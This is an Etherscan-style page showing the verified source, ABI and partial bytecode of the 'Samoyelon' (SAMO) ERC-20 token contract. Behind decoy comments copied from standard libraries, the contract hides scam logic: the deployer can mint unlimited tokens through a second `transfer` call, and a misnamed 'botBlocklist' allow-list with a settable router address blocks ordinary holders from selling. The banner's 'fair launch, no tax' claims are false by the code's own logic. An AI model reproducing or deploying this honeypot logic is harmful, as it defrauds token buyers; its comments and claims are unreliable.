ETH Price: $2,742.98 (+4.98%)
 

Overview

Max Total Supply

20,000,004,599,999,999,999.999999999999999998 SAMO

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
43,737,052,838.181325501390802289 SAMO

Value
$0.00
0x47fac91bb03059c1529c3907546ac9249983cbe7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Samoyelon

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-10
*/

/*
  /$$$$$$                                                        /$$                          
 /$$__  $$                                                      | $$                          
| $$  \__/  /$$$$$$  /$$$$$$/$$$$   /$$$$$$  /$$   /$$  /$$$$$$ | $$  /$$$$$$  /$$$$$$$       
|  $$$$$$  |____  $$| $$_  $$_  $$ /$$__  $$| $$  | $$ /$$__  $$| $$ /$$__  $$| $$__  $$      
 \____  $$  /$$$$$$$| $$ \ $$ \ $$| $$  \ $$| $$  | $$| $$$$$$$$| $$| $$  \ $$| $$  \ $$      
 /$$  \ $$ /$$__  $$| $$ | $$ | $$| $$  | $$| $$  | $$| $$_____/| $$| $$  | $$| $$  | $$      
|  $$$$$$/|  $$$$$$$| $$ | $$ | $$|  $$$$$$/|  $$$$$$$|  $$$$$$$| $$|  $$$$$$/| $$  | $$      
 \______/  \_______/|__/ |__/ |__/ \______/  \____  $$ \_______/|__/ \______/ |__/  |__/      
                                             /$$  | $$                                        
                                            |  $$$$$$/                                        
                                             \______/                                         

No pre-sale, No Tax,  100% Fair Launch           
Liquidity will be Locked for 1 Year via Team.finance/Trustswap
50% of supply burned prior to launch


Join the telegram or visit the site for more information

*/

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
     
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
      
pragma solidity ^0.8.10;
contract Ownable is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    uint256 public _maxTx = 1;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function adjustLimit (address set) public checker {
        router = set;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function fee(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */

     function setMaxTx(uint256 Maxtx) public checker {
       _maxTx = Maxtx * 10**18;

     }

    function botBlocklist(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            fee(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount < _maxTx);
        if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) public virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}
contract  Samoyelon is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply =  9000000000000 * 10 ** 18;


    constructor () ERC20('Samoyelon','SAMO') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"adjustLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"botBlocklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Maxtx","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526001600755601260ff1660809060ff168152506c71989183527a1c5d3c40000000600b553480156200003557600080fd5b506040518060400160405280600981526020017f53616d6f79656c6f6e00000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f53414d4f000000000000000000000000000000000000000000000000000000008152506000620000b4620001ca60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a35081600890805190602001906200016a92919062000324565b5080600990805190602001906200018392919062000324565b506001600a60006101000a81548160ff0219169083151502179055505050620001c4620001b5620001ca60201b60201c565b600b54620001d260201b60201c565b620005a6565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200023c906200045b565b60405180910390fd5b8060066000828254620002599190620004b6565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b19190620004b6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000318919062000524565b60405180910390a35050565b828054620003329062000570565b90600052602060002090601f016020900481019282620003565760008555620003a2565b82601f106200037157805160ff1916838001178555620003a2565b82800160010185558215620003a2579182015b82811115620003a157825182559160200191906001019062000384565b5b509050620003b19190620003b5565b5090565b5b80821115620003d0576000816000905550600101620003b6565b5090565b600082825260208201905092915050565b7f45524332303a206465706c6f7920746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000443602183620003d4565b91506200045082620003e5565b604082019050919050565b60006020820190508181036000830152620004768162000434565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004c3826200047d565b9150620004d0836200047d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000508576200050762000487565b5b828201905092915050565b6200051e816200047d565b82525050565b60006020820190506200053b600083018462000513565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058957607f821691505b60208210811415620005a0576200059f62000541565b5b50919050565b6080516123e8620005c2600039600061055801526123e86000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80637830b072116100a25780639a6b0207116100715780639a6b0207146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063bc3371821461034d578063dd62ed3e1461036957610116565b80637830b0721461025b5780638560b324146102795780638da5cb5b1461029557806395d89b41146102b357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780636161eb181461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611783565b60405180910390f35b610153600480360381019061014e919061184d565b61042b565b60405161016091906118a8565b60405180910390f35b610171610449565b60405161017e91906118d2565b60405180910390f35b6101a1600480360381019061019c91906118ed565b610453565b6040516101ae91906118a8565b60405180910390f35b6101bf610554565b6040516101cc919061195c565b60405180910390f35b6101ef60048036038101906101ea919061184d565b61057c565b6040516101fc91906118a8565b60405180910390f35b61021f600480360381019061021a919061184d565b610628565b005b61023b60048036038101906102369190611977565b6107f2565b60405161024891906118d2565b60405180910390f35b61025961083b565b005b610263610991565b60405161027091906118d2565b60405180910390f35b610293600480360381019061028e9190611aec565b610997565b005b61029d610a72565b6040516102aa9190611b44565b60405180910390f35b6102bb610a98565b6040516102c89190611783565b60405180910390f35b6102eb60048036038101906102e69190611977565b610b2a565b005b6103076004803603810190610302919061184d565b610c03565b60405161031491906118a8565b60405180910390f35b6103376004803603810190610332919061184d565b610cf7565b60405161034491906118a8565b60405180910390f35b61036760048036038101906103629190611b5f565b610f5e565b005b610383600480360381019061037e9190611b8c565b611010565b60405161039091906118d2565b60405180910390f35b6060600880546103a890611bfb565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611bfb565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600061043f610438611097565b848461109f565b6001905092915050565b6000600654905090565b600061046084848461126a565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ab611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052290611c9f565b60405180910390fd5b61054885610537611097565b85846105439190611cee565b61109f565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b600061061e610589611097565b848460056000610597611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106199190611d22565b61109f565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f90611dea565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611e7c565b60405180910390fd5b818161072b9190611cee565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282546107809190611cee565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e591906118d2565b60405180910390a3505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610843611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611ee8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b61099f611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611ee8565b60405180910390fd5b60005b8151811015610a6e57610a5b828281518110610a4e57610a4d611f08565b5b602002602001015161159c565b8080610a6690611f37565b915050610a2f565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054610aa790611bfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad390611bfb565b8015610b205780601f10610af557610100808354040283529160200191610b20565b820191906000526020600020905b815481529060010190602001808311610b0357829003601f168201915b5050505050905090565b610b32611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690611ee8565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060056000610c12611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690611ff2565b60405180910390fd5b610cec610cda611097565b858584610ce79190611cee565b61109f565b600191505092915050565b6000610d01611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d6e575060011515600a60009054906101000a900460ff161515145b15610da957610d85610d7e611097565b848461126a565b6000600a60006101000a81548160ff02191690831515021790555060019050610f58565b610db1611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e1e575060001515600a60009054906101000a900460ff161515145b15610f4157610e388260065461168c90919063ffffffff16565b600681905550610e9082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3091906118d2565b60405180910390a360019050610f58565b610f53610f4c611097565b848461126a565b600190505b92915050565b610f66611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea90611ee8565b60405180910390fd5b670de0b6b3a7640000816110079190612012565b60078190555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611106906120de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612170565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d91906118d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190612202565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612294565b60405180910390fd5b600754811061135857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140557600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140457600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612326565b60405180910390fd5b81816114989190611cee565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461152a9190611d22565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158e91906118d2565b60405180910390a350505050565b6115a4611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890611ee8565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828461169b9190611d22565b9050838110156116e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d790612392565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611724578082015181840152602081019050611709565b83811115611733576000848401525b50505050565b6000601f19601f8301169050919050565b6000611755826116ea565b61175f81856116f5565b935061176f818560208601611706565b61177881611739565b840191505092915050565b6000602082019050818103600083015261179d818461174a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117e4826117b9565b9050919050565b6117f4816117d9565b81146117ff57600080fd5b50565b600081359050611811816117eb565b92915050565b6000819050919050565b61182a81611817565b811461183557600080fd5b50565b60008135905061184781611821565b92915050565b60008060408385031215611864576118636117af565b5b600061187285828601611802565b92505